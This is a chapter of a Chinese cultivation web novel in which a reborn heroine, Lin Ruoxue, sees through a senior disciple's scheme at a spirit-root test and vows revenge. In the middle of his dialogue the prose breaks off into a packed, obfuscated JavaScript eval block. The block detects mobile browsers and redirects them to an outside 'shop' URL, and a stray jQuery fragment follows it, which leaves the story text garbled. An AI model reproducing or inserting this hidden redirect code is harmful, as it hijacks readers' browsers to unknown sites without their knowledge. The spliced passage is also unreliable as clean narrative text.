林若雪缓缓睁开眼眸,眸光清冽如寒潭,不见半分波澜,却藏着历经生死后的沉冷,徐徐扫过周遭景致。
入目之处,尽是不染尘俗的仙家气派,恍然间,她已置身于一座恢弘壮阔的白玉广场之中。广场四根擎天巨柱,皆由整块深海青玉雕琢而成,玉身温润光洁,隐有精纯灵气缓缓流转,淡淡光晕氤氲周身,透着古朴而威严的气息;地面尽数铺就上等羊脂白玉,玉质细腻微凉,脚踏其上,周身半点尘俗浊气都被隔绝,丝毫沾染不上。
这般稀世美玉,在凡间乃是王侯将相倾尽家财、穷尽一生都难以求得的珍宝,可在星辰宗辖下的修仙城镇,不过是宗门用来铺路的寻常建材。仅此一隅景致,便将仙凡两界云泥之别的天堑,刻画得淋漓尽致,也让周遭前来参试的世俗子弟,愈发心生敬畏,连呼吸都放轻,不敢有半分逾越之举。
广场之上人潮涌动,比肩接踵,绝大多数都是怀揣修仙梦、渴望一步登仙的少年少女,身旁或跟着族中长老,或立着随身侍卫,人人神色忐忑又满是希冀。可偌大一片人群,却静得落针可闻,无一人敢高声喧哗,所有目光都带着忐忑与崇敬,齐刷刷落在林若雪身前那道凌空而立的少年身影上。
那少年身着一袭宝蓝色宗门内门法袍,衣袂翩跹,无风自动,袍角与领口绣着细密的星辰云纹,灵气萦绕间,随动作流转着淡淡莹光,一看便知是宗门嫡传内门弟子才可穿戴的制式,绝非普通外门弟子能够企及。他面如冠玉,目若墨珠,唇色浅淡,五官俊朗夺目,脸颊一侧还隐着一枚浅浅梨涡,若是展露笑意,定是温润如风,耀眼至极。
可在场之人,无一人敢因他的年少俊美便有半分轻视,反倒愈发屏息凝神。
只因这少年并未踏足地面,而是足踏一柄流光溢彩的灵韵飞剑,凌空悬立,身姿挺拔如苍松,气度傲然出尘,自带一股高人一等的疏离感。在这修仙界,唯有修为突破至炼气七层,方可御使飞剑、凌空飞行,这般不过弱冠年纪,便有如此高深修为,已是宗门内当之无愧的天才翘楚,寻常人连仰望都觉不及。
林若雪一眼便认出了他。
凌虚峰主座下第五亲传弟子,蓝瑾辰。
前世的记忆如冰冷潮水般翻涌而上,裹挟着无尽的讽刺与彻骨寒意,瞬间席卷心神。彼时的她,懵懂单纯,不谙人心险恶,父母双亡后孤苦无依,被凌虚峰二师兄救下带回宗门,便傻傻以为,蓝瑾辰这般高调拉风的出场,是特意前来为她撑腰,为她撑场面,心中一度感激涕零,将他视作可以依靠的师兄,满心信任。
可如今重生归来,带着前世被至亲至信之人联手背叛、推入上古大阵炼化至死的滔天恨意,再对上他那双看似平静无波、实则藏满冷漠与鄙夷的眼眸,她瞬间彻悟。
这哪里是为她撑腰,分明是一出场,便要给她一个措手不及的下马威,刻意将她推入众矢之的的绝境境地。
蓝瑾辰指尖微捻,足下灵韵飞剑瞬间发出一声轻鸣,化作一道湛蓝光影,乖乖收入腰间剑囊之中。他身形轻缓落地,脚步声轻浅至极,却仿佛踏在众人的心尖上,引得周遭所有人呼吸齐齐一滞,全场愈发寂静。
他语气平淡,甚至带着几分漫不经心的施舍与疏离,目光淡淡扫过林若雪,语气里的轻视毫不掩饰,开口道:“走吧,前去测试灵根。虽说你已被我们凌虚峰内定,但宗门规矩不可废,灵根测试的流程,总归还是要走一遍的,莫要失了礼数。”
一语落下,广场之上瞬间掀起一阵压抑不住的低低抽气声,哗然之声虽未爆发,却在人群中疯狂蔓延,一道道目光尽数投向林若雪,暗流汹涌。
周遭排队等候检测的少年孩童、身后随行的家族长辈,看向林若雪的目光瞬间剧变。
那目光里,混杂着难以置信的极致羡慕、浓烈到化不开的妒忌,还有几分毫不掩饰的鄙夷与不屑,甚至带着赤裸裸的敌意。
他们之中,多少人日夜苦修,殚精竭虑,历经十数年打磨,翘首以盼,要历经层层筛选、重重严苛考核,拼尽全力才有一线渺茫到极致的机会,踏入星辰宗这东域第一仙门的山门;而眼前这个看起来衣着普通、气质沉静,并无半点出奇之处的少女,竟早已被星辰宗赫赫有名的凌虚峰提前内定?
她究竟是何来历,有何德何能,能得此殊荣,走这般捷径?
走后门、靠关系、逾越规矩,本就是修仙界最引人非议之事,更是戳中了所有寒门参试子弟的痛点。蓝瑾辰轻飘飘一句话,未费吹灰之力,便将在场所有人的敌意、偏见与窥探,尽数引到了林若雪身上,让她还未参与测试,便成了全场的众矢之的,第一印象跌至谷底。
林若雪心中冷笑不止,眼底寒意渐浓,表面却依旧不动声色。
她太清楚蓝瑾辰的心思了。
这修仙界,本就是强者为尊、弱肉强食的世界,实力与天赋,便是最硬的底气。若她接下来能展露碾压全场的逆天资质,那“内定”二字,便会被众人自动解读为凌虚峰慧眼识珠、她实至名归;若她亮出妖孽级别的天赋,这些方才还满心妒忌的人,只会转头艳羡凌虚峰,竟能提前将这般修仙至宝收入门下。
可若是她资质平庸,那今日之辱,便会伴随她一生,沦为整个星辰宗的笑柄,永世抬不起头。
蓝瑾辰,打的就是这个两面算盘,无论结果如何,他都毫无损失,却能狠狠拿捏住她。
就在她心念微动之际,一道冷淡疏离、带着命令口吻的声音,以传音入密之法,避开所有人,直直钻入她的耳中,正是眼前的蓝瑾辰。
“检测灵根之前,立刻把我先前给你的那件遮灵法器开启,不得有误。以你本身的资质,本就不配踏入凌虚峰半步,我不过是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524205|203411||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看在你与妙依小师妹同族,再加上二师兄曾出手救过你的情分上,才破例给你开了这个后门,你自己可要牢牢把握,安分守己,莫要出了半点差错,丢我凌虚峰的脸面,否则你连做杂役的资格都没有!”
前世的她,听到这番话时,当真以为自己资质平庸低劣,能入凌虚峰全靠师门施舍恩惠,心中满是惶恐不安与感激涕零,半点不敢质疑,更不敢违抗,只觉得是自己天大的福气。
毕竟在这修仙界,百人之中未必能有一人拥有灵根,拥有踏入仙途的资格。灵根共分天、地、玄、黄四等,每一等又细分为下、中、上、极四品,世间九成九的修士,都只是最末等的黄级下品灵根,终其一生都难有大成,只能在修仙底层挣扎。
星辰宗作为东域第一仙门,收徒门槛本就严苛至极,外门弟子最低都需黄级中品灵根;想要一步踏入内门,成为亲传弟子,至少需玄级下品灵根才有资格角逐,难度极大。
那时的她,尚且不知自己身负林家秘传、万年难遇的涅槃凤体,这是足以撼动整个修仙界的绝世体质,只当自己出身寻常小族,资质普通,自然对蓝瑾辰这番“关照”感恩戴德,言听计从,乖乖按照他的吩咐行事,亲手遮掩了自己的绝世天资,一步步落入他们的圈套。
可如今,洞悉前世所有阴谋与真相,尝尽背叛与惨死之痛的林若雪,只觉眼前之人的话语荒谬至极,忍不住低低笑了一声。
笑声清淡,却带着彻骨的嘲讽与不屑,直击人心。
蓝瑾辰眉头骤然一蹙,脸色瞬间微沉,周身气息冷了几分,原本的疏离尽数化作不悦,冷声再度传音,带着明显的怒意:“你笑什么?竟敢无视我的话,好大的胆子!”
“没什么。”林若雪缓缓抬眼,眸光平静无波,可深处却掠过一丝极淡的金色凤火,转瞬即逝,蕴藏着焚尽一切虚伪与仇恨的力量。她语气轻淡,却带着不容错辨的笃定与强势,一字一句,清晰传入蓝瑾辰耳中,
“我知道该怎么做,你只管等着看便是,绝不会让你‘失望’。”
她重生归来的第一个心愿,便是要让白莲花般伪善的林妙依,因她的绝世天资而心碎嫉妒,永远活在她的光环之下,受尽煎熬;要让凌虚峰这群狼心狗肺、忘恩负义的师兄与师父,因她的强势崛起而震动震怒,却又偏偏无可奈何,只能眼睁睁看着她一步步登顶。
而这一切,便从这场万众瞩目的灵根测试开始。
她会亲手撕开所有虚伪的伪装,碾碎他们处心积虑的算计,让在场所有人,乃至整个星辰宗,都见识一番——什么才是真正的逆天天赋,什么才是他们穷尽一生都无法企及的修仙天才。
这一世,她不再隐忍,不再退让,不再任人摆布。
所有亏欠她的,所有伤害她的,她都会一一讨还,加倍奉还,血债,必将血偿!